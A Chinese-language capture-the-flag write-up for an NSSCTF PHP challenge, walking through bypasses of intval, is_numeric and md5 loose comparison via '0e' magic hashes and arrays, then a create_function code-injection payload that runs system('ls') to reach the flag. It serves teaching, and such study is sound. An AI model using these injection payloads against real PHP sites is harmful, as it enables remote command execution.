[NSSCTF Round#16 Basic]了解过PHP特性吗 详细题解

知识点:

MD5 弱类型比较绕过
intval()函数 is_numeric() 函数
create_function 绕过

源码:

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
include("rce.php");
$checker_1 = FALSE;
$checker_2 = FALSE;
$checker_3 = FALSE;
$checker_4 = FALSE;
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
    die("no!!");
}
if (intval($num)) {
    $checker_1 = TRUE;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
    $ctype = strrev($_POST['ctype']);
    $is_num = strrev($_POST['is_num']);
    if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
        $checker_2 = TRUE;
    }
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
    if (!is_numeric($_514) && $_514 > 9999999) {
        $checker_3 = TRUE;
    }
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
    for ($i = 0; $i < count($arr4y); $i++) {
        if ($arr4y[$i] === "NSS") {
            die("no!");
        }
        $arr4y[$i] = intval($arr4y[$i]);
    }
    if (array_search("NSS", $arr4y) === 0) {
        $checker_4 = TRUE;
    }
}
if ($checker_1 && $checker_2 && $checker_3 && $checker_4) {
    echo $rce;
}

首先num参数不能含有数字,intval($num)不能返回0 也就是需要返回非0数字,可以用非空数组绕过

?num[]=1 此时这里的1 不会被正则匹配到
strrev() 反转字符串 ctype_alpha() 检测字符串中所有字符是否都为字母

is_numeric () 检测变量是否为数字或数字字符串

如果传入的字符串中含有字母,那么is_numeric()函数就会返回false,例如a123 1a23 123a

所以参数is_num需要满足纯数字,ctype满足纯字母,然后满足md5加密后的弱比较

这里数组绕过是不合适的,因为strrev()函数需要字符串类型,传入数组类型会报错

所以找到纯数字和纯字母md5加密之后前两位为0e 的值,就会被认为是科学计数法,表示的是0*10的n次方,还是零

php 复制代码
md5加密之后前两位为0e 的纯数字:
240610708  314282422   571579406   903251147
md5加密之后前两位为0e 的纯字母:
QLTHNDT   QNKCDZO    EEIZDOI   TUFEPMC

倒置一下,post传参 is_num=807016042&ctype=TDNHTLQ

php 复制代码
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
    if (!is_numeric($_514) && $_514 > 9999999) {
        $checker_3 = TRUE;
    }
}

参数114有长度限制,用科学计数法即可绕过,intval()函数可以识别科学计数法,例如 1e8,就是1*10的8次方

参数514没有要求长度,需要满足!is_numeric($_514),所以赋值为999999999999999a 即可

如果赋值为科学计数法1e9的话 1e9 进行弱比较的话和 1 是相等的,这样就不满足$_514 > 9999999

php 复制代码
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
    for ($i = 0; $i < count($arr4y); $i++) {
        if ($arr4y[$i] === "NSS") {
            die("no!");
        }
        $arr4y[$i] = intval($arr4y[$i]);
    }
    if (array_search("NSS", $arr4y) === 0) {
        $checker_4 = TRUE;
    }
}

count() 返回数组中元素的数目

参数arr4y需要是一个数组,数组中的元素不能有NSS,并且arr4y\[i] = intval(arr4y\[i]); 会进行intval()转换重新赋值
array_search () 用于在数组中搜索某个值并返回对应的键名,如果找不到该值则返回false

作用是在数组 $arr4y 中查找值 "NSS" 是否存在,并且判断索引是否为 0
array_search是弱比较,由于"NSS"是纯字母,如果和数字比较,相当于0和0 就会相等,所以arr4y可以传入0 ,此时数组中就一个元素,索引也是0

get传参 ?num[]=1&114=1e8

post传参 is_num=807016042&ctype=TDNHTLQ&514=9999999999999a&arr4y[]=0
得到结果 next:Rc3_function.php

php 复制代码
 <?php
error_reporting(0);
highlight_file(__FILE__);
$nss=$_POST['nss'];
$shell = $_POST['shell'];
if(isset($shell)&& isset($nss)){
    $nss_shell = create_function($shell,$nss);
}

create_function(string args,string code)
string args 声明的函数变量部分 string code 执行的方法代码部分
create_function函数会在内部执行 eval()

bash 复制代码
create_function()会创建一个匿名函数,格式如下所示:
function lambda_1($a,$b){
    .......
}

命令执行不需要参数,直接构造执行代码即可,但是要求存在shell参数,不赋值即可

post传参输入

bash 复制代码
shell=&nss=}system('ls');//

传入nss参数变成

php 复制代码
function lambda_1()
{}  
    system('ls');//
}

nss参数中的 } 是为了闭合前面的{

//用来注释掉后面的括号 这样就可以利用eval()函数执行system('ls')

得到结果 Rc3_function.php index.php rce.php

查看根目录即可发现flag文件,然后用cat 命令查看即可

相关推荐
星哥说事1 小时前
使用开源免费雷池WAF防火墙,接入保护你的网站
web安全·开源
浩浩测试一下2 小时前
计算机网络中的DHCP是什么呀? 详情解答
android·网络·计算机网络·安全·web安全·网络安全·安全架构
蚁景网络安全2 小时前
从字节码开始到ASM的gadgetinspector源码解析
网络安全
浩浩测试一下4 小时前
SQL注入高级绕过手法汇总 重点
数据库·sql·安全·web安全·网络安全·oracle·安全架构
谈不譚网安5 小时前
CSRF请求伪造
前端·网络安全·csrf
亿坊电商6 小时前
PHP框架在微服务迁移中能发挥什么作用?
开发语言·微服务·php
JM丫6 小时前
PWNOS:2.0(vulnhub靶机)
网络安全
帅云毅7 小时前
Web漏洞--XSS之订单系统和Shell箱子
前端·笔记·web安全·php·xss
keep intensify7 小时前
Linux常用指令
linux·服务器·php
迷路的小绅士8 小时前
常见网络安全攻击类型深度剖析(三):DDoS攻击——分类、攻击机制及企业级防御策略
网络·web安全·ddos